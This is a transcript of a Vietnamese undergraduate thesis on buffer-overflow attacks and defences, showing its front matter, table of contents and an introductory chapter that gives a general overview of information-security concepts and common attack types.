nghiên cứu về tấn công lỗi tràn b ộ Đệm trong phần mềm và phòng chống

65
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page i LỜI CẢM ƠN Để hoàn thành đồ án này, lời đầu tiên em xin chân thành cảm ơn các thầy giáo, cô giáo khoa Công nghệ thông tin, Học viện Công nghệ Bưu chính Viễn thông, những người đã dạy dỗ, trang bị cho em những kiến thức bổ ích trong những năm học vừa qua. Em xin bày tỏ lòng biết ơn sâu sắc nhất tới thầy giáo Hoàng Xuân Dậu, người đã tận tình hướng dẫn, chỉ bảo em trong suốt thời gian làm đồ án này. Nhân dịp này em xin gửi lời cảm ơn chân thành tới gia đình, bạn bè, những người thân đã cổ vũ, động viên tiếp thêm cho em nghị lực để em hoàn thành đồ án chuyên đề. Em xin chân thành cảm ơn ! Hà Nội, ngày 20 tháng 11 năm 2013 SINH VIÊN NGUYỄN THĂNG LONG

Upload: nguyen-hoang-son

Post on 11-Jan-2016

50 views

Category:

Documents


12 download

DESCRIPTION

Đồ án nghiên cứu về tấn công lỗi tràn bộ đệm trong phần mềm và phòng chống

TRANSCRIPT

Page 1: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page i

LỜI CẢM ƠN

Để hoàn thành đồ án này, lời đầu tiên em xin chân thành cảm ơn các thầy giáo, cô

giáo khoa Công nghệ thông tin, Học viện Công nghệ Bưu chính Viễn thông, những

người đã dạy dỗ, trang bị cho em những kiến thức bổ ích trong những năm học vừa

qua.

Em xin bày tỏ lòng biết ơn sâu sắc nhất tới thầy giáo Hoàng Xuân Dậu, người đã

tận tình hướng dẫn, chỉ bảo em trong suốt thời gian làm đồ án này.

Nhân dịp này em xin gửi lời cảm ơn chân thành tới gia đình, bạn bè, những người

thân đã cổ vũ, động viên tiếp thêm cho em nghị lực để em hoàn thành đồ án chuyên đề.

Em xin chân thành cảm ơn !

Hà Nội, ngày 20 tháng 11 năm 2013

SINH VIÊN

NGUYỄN THĂNG LONG

Page 2: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page ii

NHẬN XÉT, ĐÁNH GIÁ, CHO ĐIỂM

(Của giáo viên hướng dẫn)

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

……………………………………………………………...……………………………

Điểm: ……….…………….Bằng chữ: …………………………..…………….…………….)

Đồng ý/Không đồng ý cho sinh viên bảo vệ trước hội đồng đồ án tốt nghiệp?

………………….

Hà Nội, ngày tháng năm 20 .

GIẢNG VIÊN HƯỚNG DẪN

Page 3: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Mục lục

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page iii

MỤC LỤC

LỜI CẢM ƠN .............................................................................................................................. i

NHẬN XÉT, ĐÁNH GIÁ, CHO ĐIỂM .................................................................................... ii

MỤC LỤC ................................................................................................................................. iii

DANH MỤC CÁC BẢNG, SƠ ĐỒ, HÌNH VẼ ......................................................................... v

DANH MỤC CÁC VÍ DỤ ........................................................................................................ vi

KÝ HIỆU CÁC CỤM TỪ VIẾT TẮT ..................................................................................... vii

ĐẶT VẤN ĐỀ ............................................................................................................................ 8

1.1. Tổng quan về an toàn bảo mật hệ thống thông tin ...................................................... 9

1.2. Các điểm yếu và các lỗ hổng an ninh hệ thống ......................................................... 12

1.2.1. Khái quát về mối đe dọa và lỗ hổng ................................................................... 12

1.3. Các dạng tấn công điển hình vào hệ thống thông tin ................................................ 13

1.3.1. Khái quát về tấn công độc hại (Malicious Attacks)............................................ 13

1.3.2. Một số dạng tấn công điển hình ......................................................................... 13

1.4. Mô tả bài toán ............................................................................................................ 16

1.5. Kết chương ................................................................................................................. 17

CHƯƠNG 2: CƠ CHẾ TẤN CÔNG LỖI TRÀN BỘ ĐỆM VÀ CÁC PHƯƠNG PHÁP

PHÒNG CHỐNG ..................................................................................................................... 18

2.1. Giới thiệu về mô hình bộ nhớ ảo trong các hệ điều hành .......................................... 18

2.1.1. Các khái niệm ..................................................................................................... 18

2.1.2. Phương thức tổ chức bộ nhớ trong máy tính ...................................................... 19

2.1.3. Quy trình cấp phát bộ nhớ .................................................................................. 22

2.2. Lỗi tràn bộ đệm và các kỹ thuật tấn công .................................................................. 24

2.2.1. Lịch sử các kỹ thuật tấn công khai thác lỗi tràn bộ đệm .................................... 24

2.2.2. Tổng quan về tấn công dựa trên lỗi tràn bộ đệm ............................................... 25

2.2.3. Cơ chế tràn bộ đệm trên Stack ........................................................................... 26

2.3. Shellcode .................................................................................................................... 29

2.4. Tấn công thực thi Shellcode lợi dụng lỗi tràn bộ đệm trên Stack .............................. 33

2.4.1. Tìm chương trình chứa lỗ hổng tràn bộ đệm ...................................................... 35

2.4.2. Xác định cấu trúc Stack mà chương trình sử dụng ............................................ 37

2.4.3. Tạo mã Shellcode muốn thực thi ........................................................................ 40

2.4.4. Tạo chuỗi Input khai thác lỗi tràn bộ đệm để thực thi mã Shellcode ................. 40

Page 4: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Mục lục

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page iv

2.5. Các biện pháp phòng chống tấn công lợi dụng lỗi tràn bộ đệm ................................ 44

2.5.1. Bảo vệ trong thời gian dịch ................................................................................ 44

2.5.2. Bảo vệ trong thời gian chạy ............................................................................... 46

2.6. Kết chương ................................................................................................................. 48

CHƯƠNG 3: MÔ PHỎNG TẤN CÔNG LỖI TRÀN BỘ ĐỆM ............................................. 49

3.1. Mô phỏng tấn công lỗi tràn bộ đêm trên các HĐH họ Linux ................................... 49

3.1.1. Phát hiện chương trình có lỗ hổng tràn bộ đệm ................................................. 49

3.1.2. Tiến hành debug chương trình ........................................................................... 49

3.1.3. Xây dựng chuỗi tấn công: ................................................................................... 52

3.1.4. Kết quả demo ...................................................................................................... 53

3.2. Mô phỏng tấn công lỗi tràn bộ đệm trên HĐH Windows XP .................................... 55

3.2.1. Phát hiện chương trình có lỗ hổng tràn bộ đệm ................................................. 55

3.2.2. Tiến hành debug chương trình ........................................................................... 57

3.2.3. Xây dựng chuỗi tấn công .................................................................................... 59

3.2.4. Kết quả demo ...................................................................................................... 59

PHỤ LỤC ................................................................................................................................. 61

TÀI LIỆU THAM KHẢO ........................................................................................................ 64

Page 5: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Danh mục các bảng, sơ đồ, hình vẽ

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page v

DANH MỤC CÁC BẢNG, SƠ ĐỒ, HÌNH VẼ

Hình 1: Tổ chức bộ nhớ ảo [16]. .............................................................................................. 19

Hình 2: Dữ liệu trong Stack Frame của hàm function(int a, int b) ......................................... 24

Hình 3: Dữ liệu trong StackFrame của hàmFunction(char *str) ........................................... 27

Hình 4: Tràn bộ nhớ đệm trên Stack ghi đè SavedEIP ........................................................... 28

Hình 5: Ghi đè địa chỉ trả về và trỏ đến các vùng dữ liệu khác [16] ..................................... 28

Hình 6: Trích xuất Shellcode bằng objdump (Linux) .............................................................. 30

Hình 7: Lấy địa chỉ sys_call bằng arwin.exe .......................................................................... 31

Hình 8: Các hàm xử lý bộ đệm không an toàn trong C/C++ [1] ........................................... 35

Hình 9: Phát hiện lỗ hổng tràn bộ đệm trên chương trình HĐH họ Linux ............................. 36

Hình 10: Phát hiện lỗ hổng tràn bộ đệm trên HĐH họ Windows ........................................... 37

Hình 11: Dữ liệu trong Stack khi bị tràn trên Linux ............................................................... 39

Hình 12: Dữ liệu trong Stack khi bị tràn trên Windows .......................................................... 39

Hình 13: Mô hình xây dựng chuỗi tấn công đặt tại buffer hàm bị tràn .................................. 40

Hình 14: Dữ liệu trong bộ nhớ Stack sau khi chèn mã tấn công............................................. 41

Hình 15: Mô hình xây dựng chuỗi tấn công đặt Shellcode lên Previous StackFrame ............ 42

Hình 16: Tìm địa chỉ lệnh JUMP ESP trong file Executable bằng Ollydmg .......................... 43

Hình 17: Dữ liệu trong bộ nhớ Stack sau khi chèn mã tấn công............................................. 43

Hình 18: Nhận biết tràn bộ đệm trong chương trình demo4 ................................................... 49

Hình 19: Debug chương trình bằng công cụ GDB.................................................................. 50

Hình 20: Dữ liệu trong các thanh ghi sau thời điểm hàm bị tràn ........................................... 51

Hình 21: Dữ liệu trong Stack sau khi bộ đệm bị tràn.............................................................. 52

Hình 22: Xây dựng chuỗi input tấn công ................................................................................ 53

Hình 23: Chương trình sau khi bị tiêm mã tấn công qua bộ nhập .......................................... 53

Hình 24: Kiếm tra các kết nối đang mở sau khi tấn công chương trình ................................. 54

Hình 25: Giao diện chương trình Easy RM To MP3 Converter, version 2.7.3.700................ 55

Hình 26: Dấu hiệu Chương trình Easy RM To MP3 Converter bị tràn bộ đệm ..................... 56

Hình 27: Tìm vị trí tương đối giữa SavedEIP với ESP của Frevious StackFrame ................. 57

Hình 28: Tìm địa chỉ lệnh JUMP ESP từ file .DLL bằng Ollydmg ......................................... 58

Hình 29: Xây dựng chuỗi tấn công chương trình Easy RM To MP3 Converter ..................... 59

Hình 30: Kết quả demo tấn công chương trình Easy RM To MP3 Converter ........................ 59

Page 6: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page vi

DANH MỤC CÁC VÍ DỤ

Ví dụ 1: chương trình exampleCode1.c [2] .............................................................................. 22

Ví dụ 2: Chương trình exampleCode2.c [2]. ............................................................................ 27

Ví dụ 3: Mã Assembly thực thi hàm system_exit(): exit.asm .................................................... 30

Ví dụ 4: Mã Assembly chương trình sleep.asm ........................................................................ 31

Ví dụ 5: Chương trình demoPushStack.asm ............................................................................. 33

Ví dụ 6: Truyền tham số cho chương trình bằng Python ......................................................... 38

Ví dụ 7: Chương trình Perl Script tạo file tấn công input.pl .................................................... 56

Ví dụ 8: Chương trình Perl Script tạo file tấn công input.pl làm tràn vừa đủ bộ đệm ............ 56

Ví dụ 9: Xây dựng chương trình Perl Script tạo file tấn công demo1.pl .................................. 57

Ví dụ 10 Xây dựng chương trình Perl Script tạo file tấn công demo2.pl ................................. 58

Page 7: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Ký hiệu các cụm từ viết tắt

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page vii

KÝ HIỆU CÁC CỤM TỪ VIẾT TẮT

Từ viết tắt Nghĩa tiếng anh Nghĩa tiếng việt

HĐH Operating System Hệ điều hành

NOP No-Operation Lệnh rỗng không thực hiện tác vụ hữu ích

SQL Structured Query Language Ngôn ngữ truy vấn có cấu trúc

FP Frame Pointer Con trỏ khung Stack

EIP Extended Instruction Pointer Thanh ghi con trỏ lệnh

ESP Extended Stack Pointer Thanh ghi con trỏ Stack

EBP Extended Base Pointer Thanh ghi con trỏ cơ sở Stack

SF Stack Frame Khung Stack

SavedEIP Saved Extends Instruction

Pointer

Giá trị con trỏ lệnh ngay trước thời điểm

hàm được gọi

SavedEBP Saved Extended Base Pointer Giá trị thanh ghi con trỏ cơ sở Stack của

khung Stack của hàm trước đó

Page 8: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Đặt vấn đề

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 8

ĐẶT VẤN ĐỀ

Cùng với việc ứng dụng ngày càng rộng rãi máy tính và các phần mềm ứng dụng

trong xử lý thông tin phục vụ cuộc sống, các dạng tấn công vào hệ thống máy tính, hệ

điều hành, tấn công vào các dịch vụ và phần mềm ứng dụng đã phát triển nhanh chóng

và gây ra nhiều thiệt hại. Một trong các dạng tấn công vào hệ thống máy tính tiêu biểu

là kỹ thuật tấn công khai thác lỗi tràn bộ nhớ đệm. Các lỗi tràn bộ đệm có thể làm

chương trình ngừng hoạt động, hoặc có thể bị kẻ tấn công lợi dụng để truy nhập trái

phép, hoặc chiếm quyền điều khiển hệ thống. Các lỗi tràn bộ đệm được đánh giá là

loại lỗ hổng an ninh nghiêm trọng.

Mặc dù lỗ hổng tràn bộ đệm đã được phát hiện và khai thác từ khá lâu, các nguy

cơ cũng như tác hại của lỗ hổng này gây ra cho các hệ thống bị tấn công là rất cao.

Trong khi đó, việc phòng tránh và loại trừ nguy cơ tấn công dựa trên lỗi tràn bộ đệm

lại phụ thuộc rất nhiều vào kiến thức và kinh nghiệm của người lập trình. Do đó việc

nghiên cứu sâu về cơ chế của tấn công dựa trên lỗi tràn bộ đệm là quan trọng, giúp

người lập trình hiểu được cơ chế của tấn công lợi dụng lỗ hổng này, từ đó có những

phương án xây dựng những hệ thống an toàn. Đây cũng là lý do em chọn đề tài

“Nghiên cứu về tấn công lỗi tràn bộ đệm trong phần mềm và phòng chống” làm đồ án

tốt nghiệp đại học của mình.

Nội dung đồ án gồm có ba chương và phần kết luận:

Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công hệ

thống:

Giới thiệu tổng quan về hệ thống thông tin, an toàn bảo mật hệ thống thông tin,

các lỗ hổng bảo mật và các dạng tấn công hệ thống thông tin thông dụng.

Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và phương pháp phòng chống

Trình bày phương pháp tổ chức và cấp phát bộ nhớ ảo cho chương trình, cơ chế

gây tràn bộ đệm, tấn công lợi dụng lỗ hổng tràn bộ đệm trên Stack và phương pháp tạo

Shellcode. Thêm vào đó, chương này còn đề cập các phương pháp phòng chống tấn

công bộ nhớ đệm hiệu quả nhằm giúp xây dựng nên các hệ thống an toàn.

Chương 3: Demo cơ chế tấn công lỗi tràn bộ đệm trên HĐH họ Linux và

HĐH họ Windows

Chương này trình bày chi tiết phương pháp tấn công lợi dụng lỗ hổng tràn bộ

đệm trên cả hai HĐH họ Linux (Đại diện là Ubuntu 12.04 LTS) và HĐH họ Windows

(Đại diện là Windows XP SP2).

Page 9: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 9

CHƯƠNG 1: TỔNG QUAN VỀ CÁC LỖ HỔNG BẢO MẬT

VÀ CÁC DẠNG TẤN CÔNG HỆ THỐNG

Chương 1 trình bày tổng về an toàn bảo mật hệ thống thông tin và một số lỗ hổng

cũng cũng như một số dạng tấn công hệ thống thông tin điển hình.

1.1. Tổng quan về an toàn bảo mật hệ thống thông tin

1.1.1. Khái niệm hệ thống thông tin

Hệ thống thông tin (Information System) là một hệ thống tích hợp các thành phần

nhằm phục vụ việc thu thập, lưu trữ, xử lý và trao đổi thông tin, tri thức và các sản

phẩm số. Hệ thống thông tin ngày nay được các doanh nghiệp và các tổ chức sử dụng

phổ biến với nhiều mục đích khác nhau để thực hiện và quản lý một số hoạt động

như [3][12]:

- Tương tác với khách hàng;

- Tương tác với các nhà cung cấp;

- Tương tác với các tổ chức chính quyền;

- Quảng bá thương hiệu và sản phẩm.

Nhìn chung, một hệ thống thông tin thường gồm 5 thành phần cơ bản:

- Các thiết bị phần cứng;

- Các chương trình phần mềm;

- Các cơ sở dữ liệu;

- Hệ thống truyền thông và nhân sự.

Do các hệ thống thông tin ngày càng được sử dụng rộng rãi và phục vụ cho nhiều

mục đích khác nhau, nên việc phân loại các hệ thống thông tin chỉ mang tính tương

đối. Một số hệ thống thông tin điển hình được sử dụng:

- Các hệ thống kho dữ liệu (Data Warehouses);

- Các hệ thống lập kế hoạch nguồn nhân lực doanh nghiệp (Enterprise Resource

Planning);

- Các hệ thống thông tin doanh nghiệp (Enterprise Systems);

- Các hệ chuyên gia (Expert Systems) ;

- Các máy tìm kiếm (Search Engines) ;

- Các hệ thống thông tin địa lý (Geographic Information Systems);

- Các hệ thống thông tin toàn cầu (Global Information Systems);

- Các hệ tự động hóa văn phòng (Office Automation).

Page 10: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 10

1.1.2. Hệ thống thông tin dựa trên máy tính

Một hệ thống thông tin dựa trên máy tính (Computer-Based Information System -

CBIS) là một hệ thống thông tin trong đó sử dụng công nghệ máy tính để thực thi một

phần hoặc toàn bộ công việc của hệ thống thông tin. Hệ thống thông tin dựa trên máy

tính gồm có các thành phần cơ bản:

- Hardware: Phần cứng để thu thập, lưu trữ, xử lý và biểu diễn dữ liệu.

- Software: Các phần mềm chạy trên phần cứng hoặc hệ điều hành để xử lý dữ

liệu.

- Databases: Lưu trữ dữ liệu.

- Networks: Hệ thống truyền dẫn thông tin/dữ liệu.

- Procedures: Tập hợp các lệnh kết hợp các bộ phận nêu trên để xử lý. Bao gồm

các chiến lược, các chính sách, phương thức và các quy tắc sử dụng CBIS.

- People: Con người quản lý việc thực thi của hệ thống – thành phần quan trọng

trong hầu hết các CBIS.

1.1.3. An toàn bảo mật hệ thống thông tin

An toàn thông tin là việc bảo vệ chống truy nhập, sử dụng, tiết lộ, sửa đổi hoặc

phá hủy thông tin một cách trái phép. Các hệ thống và dịch vụ xử lý thông tin có khả

năng chống lại những can thiệp, lỗi và những tai họa không mong đợi, đảm bảo các

thay đổi tác động đến an toàn của hệ thống là nhỏ nhất.

Ngày nay, do việc ứng dụng máy tính trong việc lưu trữ, xử lý thông tin rất phổ

biến, nên rất cần các cơ chế đủ mạnh bảo vệ thông tin theo đặc thù hoạt động của máy

tính. Do đó xuất hiện thêm yêu cầu đảm bảo an toàn hoạt động của hệ thống máy tính

đi kèm với yêu cầu đảm bảo an toàn của hệ thống thông tin. An toàn thông tin bao hàm

hai lĩnh vực chính:

- An toàn công nghệ thông tin (IT Security), đôi khi còn được gọi là an toàn máy

tính (Computer Security), là an toàn thông tin áp dụng cho các hệ thống công nghệ.

Các hệ thống công nghệ áp dụng của tổ chức cần được đảm bảo an toàn trước các cuộc

tấn công.

- Đảm bảo thông tin (Information Assurance) là việc đảm bảo thông tin không bị

mất khi xảy ra các sự cố (trộm cắp, phá hoại, thiên tai, hỏng hóc, chiến tranh, …).

An toàn hệ thống thông tin (Information System Security) là việc đảm bảo các

thuộc tính an ninh, an toàn của hệ thống thông tin, bao gồm tính bí mật

(Confidentiality), tính toàn vẹn (Integrity) và tính sẵn sàng (còn gọi là khả dụng hoặc

sẵn dùng) của thông tin (Availability).

Page 11: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 11

1.1.3.1. Tính bí mật của thông tin (Confidentiality)

Đặc trưng này còn được gọi là tính giới hạn về đối tượng được quyền truy xuất

thông tin. Theo đó chỉ những đối tượng có thẩm quyền mới được phép truy nhập vào

thông tin hoặc hệ thống. Mọi hành vi truy nhập vào thông tin hoặc hệ thống mà đối

tượng thực hiện không được phép đều được coi là vi phạm.Các thông tin bí mật có thể

gồm:

- Dữ liệu riêng cá nhân.

- Các thông tin thuộc quyền sở hữu trí tuệ của các doanh nghiệp hoặc các tổ chức.

- Các thông tin liên quan đến an ninh quốc gia.

1.1.3.2. Tính toàn vẹn của thông tin (Integrity)

Đặc trưng này có ý nghĩa đảm bảo sự tồn tại nguyên vẹn của thông tin. Mọi sự

thay đổi thông tin không có chủ đích của đối tượng được cấp quyền đều là vi phạm. Sự

toàn vẹn của thông tin trong một số trường hợp có ý nghĩa tương đương với sự đảm

bảo tính xác thực nguồn gốc của thông tin [3].

Tính toàn vẹn liên quan đến tính hợp lệ (Validity) và tính chính xác (Accuracy)

của dữ liệu. Trong nhiều trường hợp, mọi thay đổi không có thẩm quyền gây ảnh

hưởng rất lớn đến giá trị của thông tin.

Dữ liệu là toàn vẹn nếu thỏa mãn các yêu cầu sau:

- Dữ liệu không bị thay đổi bởi đối tượng không có thẩm quyền.

- Dữ liệu là hợp lệ.

- Dữ liệu là chính xác.

1.1.3.3. Tính sẵn sàng của thông tin (Avaibility)

Đặc trưng này có ý nghĩa đảm bảo tính khả dụng của thông tin cho tất cả các yêu

cầu truy xuất đến từ các đối tượng hợp lệ. Trong thực tế đặc trưng này được xem là

nền tảng quan trọng nhất để xây dựng nên hệ thống an toàn, vì nếu hệ thống không

đảm bảo tính sẵn sàng thì ý nghĩa quản lý thông tin của hệ thống sẽ không còn.

Tính sẵn sàng có thể được đo bằng các yếu tố [3]:

- Thời gian cung cấp dịch vụ (Uptime).

- Thời gian ngừng cung cấp dịch vụ (Downtime).

- Tỷ lệ phục vụ: A = (Uptime)/(Uptime + Downtime).

- Thời gian trung bình giữa các sự cố.

- Thời gian trung bình ngừng để sửa chữa.

- Thời gian khôi phục sau sự cố.

Page 12: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 12

1.2. Các điểm yếu và các lỗ hổng an ninh hệ thống

1.2.1. Khái quát về mối đe dọa và lỗ hổng

1.2.1.1. Mối đe dọa (Threat)

Mối đe dọa là bất kỳ hành động nào có thể gây tổn hại đến các tài nguyên hệ

thống (phần cứng, phần mềm, các file, dữ liệu, CSDL, … hoặc hạ tầng mạng vật lý,

…). Tuy nhiên không phải toàn bộ các mối đe dọa đều là độc hại, và mối đe dọa cũng

có thể được tạo nên từ nguyên nhân vô tình hoặc khách quan.

Các mối đe dọa thường gặp có thể gồm [3]:

- Phá hoại của các phần mềm độc hại

- Hư hỏng phần cứng hoặc phần mềm

- Kẻ tấn công ở bên trong

- Mất trộm các thiết bị

- Kẻ tấn công ở bên ngoài

- Tai họa thiên nhiên.

1.2.1.2. Lỗ hổng (Vulnerability)

Lỗ hổng là bất kỳ khiếm khuyết hoặc điểm yếu nào trong hệ thống có thể tạo điều

kiện cho phép một mối đe dọa gây tác hại. Các lỗ hổng an ninh tồn tại trong cả 7 vùng

của nền tảng CNTT, gồm [3]:

- Lỗ hổng trong vùng người dùng;

- Lỗ hổng trong vùng máy trạm;

- Lỗ hổng trong vùng mạng LAN;

- Lỗ hổng trong vùng LAN-to-WAN;

- Lỗ hổng trong vùng WAN;

- Lỗ hổng trong vùng truy nhập từ xa;

- Lỗ hổng trong vùng hệ thống/ứng dụng.

Trong các hệ điều hành và phần mềm ứng dụng, các lỗ hổng an ninh thường gặp

có thể gồm [3]:

- Lỗi tràn bộ đệm (Buffer Overflows);

- Không kiểm tra đầu vào (Unvalidated Input);

- Các vấn đề với điều khiển truy cập (Access-Control Problems);

- Các điểm yếu trong xác thực, trao quyền (Weaknesses in Authentication,

Authorization);

- Các điểm yếu trong các hệ mật mã (Weaknesses in Cryptographic Practices).

Page 13: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 13

Mối đe dọa và lỗ hổng an ninh có mối quan hệ hữu cơ với nhau. Các mối đe dọa

thường tận dụng khai thác một hoặc tập hợp các lỗ hổng đã biết để tìm cách thực hiện

các cuộc tấn công phá hoại hệ thống.Nếu tồn tại một lỗ hổng an ninh trong hệ thống,

sẽ có khả năng lỗ hổng đó bị một mối đe dọa tận dụng và thông qua đó thực hiện

thành công cuộc tấn công vào hệ thống. Chúng ta không thể loại trừ hết được các mối

đe dọa, tuy nhiên hoàn toàn có thể giảm thiểu các lỗ hổng, nhờ vậy giảm thiểu được

khả năng bị tận dụng để tấn công.

1.3. Các dạng tấn công điển hình vào hệ thống thông tin

1.3.1. Khái quát về tấn công độc hại (Malicious Attacks)

Tấn công độc hại là cuộc tấn công vào hệ thống máy tính hoặc các tài nguyên

mạng được thực hiện bằng cách khai thác các lỗ hổng tồn tại trong hệ thống, nhằm

truy nhập trái phép vào thông tin, hệ thống hoặc các tài nguyên mạng.

Tấn công có thể chia thành 4 loại chính:

- Giả mạo (Fabrications): Giả mạo thông tin thường để đánh lừa người dùng

thông thường;

- Chặn bắt (Interceptions): Liên quan đến việc nghe trộm trên đường truyền và

chuyển hướng thông tin để sử dụng trái phép;

- Gây ngắt quãng (Interruptions): Gây ngắt kênh truyền thông ngăn cản việc

truyền dữ liệu;

- Sửa đổi (Modifications): Liên quan đến việc sửa đổi thông tin trên đường truyền

hoặc sửa đổi dữ liệu file.

Theo phương thức thực hiện, tấn công có thể chia thành hai kiểu:

- Tấn công chủ động (Active attacks): Là các dạng tấn công thực hiện sửa đổi dữ

liệu trên đường truyền, dữ liệu trong file, hoặc chiếm quyền truy nhập trái phép vào hệ

thống máy tính hoặc hệ thống mạng. Tấn công chủ động thường là một đột nhập

(Intrusion) về mặt vật lý.

- Tấn công thụ động (Passive attacks): Là dạng tấn công không gây ra thay đổi

trên hệ thống, như nghe trộm, hoặc giám sát lưu lượng trên đường truyền.

1.3.2. Một số dạng tấn công điển hình

Các dạng tấn công điển hình bao gồm, tấn công vào mật khẩu, tấn công bằng mã

độc, tấn công từ chối dịch vụ, tấn công giả mạo địa chỉ IP, tấn công nghe trộm, tấn

công kiểu người đứng giữa, tấn công bằng bom thư, tấn công sử dụng cửa hậu và tấn

công kiểu Social Engineering. Phần tiếp theo, đồ án sẽ phân tích chi tiết từng kiểu tấn

công trên.

Page 14: Nghiên Cứu Về Tấn Công Lỗi Tràn b ộ Đệm Trong Phần Mềm Và Phòng Chống

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT

SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 14

1.3.2.1. Tấn công vào mật khẩu

Tấn công vào mật khẩu là dạng tấn công nhằm đánh cắp thông tin tài khoản và

mật khẩu của đối tượng để giả danh người sử dụng truy xuất trái phép vào tài nguyên

hệ thống.Tấn công mật khẩu thường có hai dạng:

- Tấn công dựa vào từ điển (Dictionary attacks): Dựa vào xu hướng đặt mật khẩu

của người dùng là các thông tin có liên quan đến bản thân họ, hoặc mật khẩu dễ nhớ

như: tên, tuổi, ngày sinh, người thân, dãy số, … Từ đó kẻ tấn công dựa xây dựng nên

tập các mật khẩu có khả năng được người dùng sử dụng và thử các mật khẩu này.

- Tấn công kiểu vét cạn (Brute force attacks): Sử dụng công cụ và máy móc tiến

hành tổ hợp lần lượt toàn bộ các ký tự và thử mật khẩu một cách tự động. Phương

pháp này thường sử dụng để tìm ra mật khẩu khi đã nắm được dạng mã hóa của mật

khẩu.

1.3.2.2. Tấn công bằng mã độc

Tấn công bằng mã độc có thể gồm một số dạng, như lợi dụng lỗ hổng về lập trình

(như lỗi tràn bộ nhớ đệm), lỗ hổng cấu hình hệ thống để chèn và thực thi mã độc trên

hệ thống nạn nhân. Cụ thể các dạng tấn công bằng mã độc:

+ Tấn công lợi dụng lỗi tràn bộ nhớ đệm: Kẻ tấn công lợi dụng lỗi tràn bộ đệm

trên hệ thống nạn nhân để “tiêm” các đoạn mã độc vào và thực thi chúng.

+ Tấn công lợi dụng lỗi không kiểm tra đầu vào: Tấn công chèn mã SQL (SQL

injection), tấn công sử dụng mã javascript, kiểu XSS, CSRF, … Kẻ tấn công khéo léo

chèn mã SQL vào dữ liệu đầu vào và gửi các dữ liệu này tới máy chủ. Nếu máy chủ

không có cơ chế kiểm soát và lọc dữ liệu đầu vào đủ mạnh, mã SQL của kẻ tấn công

sẽ được thực hiện bởi máy chủ SQL.

+ Kẻ tấn công lừa đảo người dùng tải, cài đặt và thực thi các phần mềm độc hại:

Các phần mềm Adware, Spyware, Virus, Trojan, … được che giấu dưới dạng một

phần mềm hữu ích khiến người dùng vô tình cài đặt và thực thi trên hệ thống của

mình.

1.3.2.3. Tấn công từ chối dịch vụ

Tấn công từ chối dịch vụ (DoS- Denial of Service attacks) chỉ nhằm mục đích

ngăn chặn hoạt động bình thường của hệ thống, đặc biệt đối với các hệ thống phục vụ

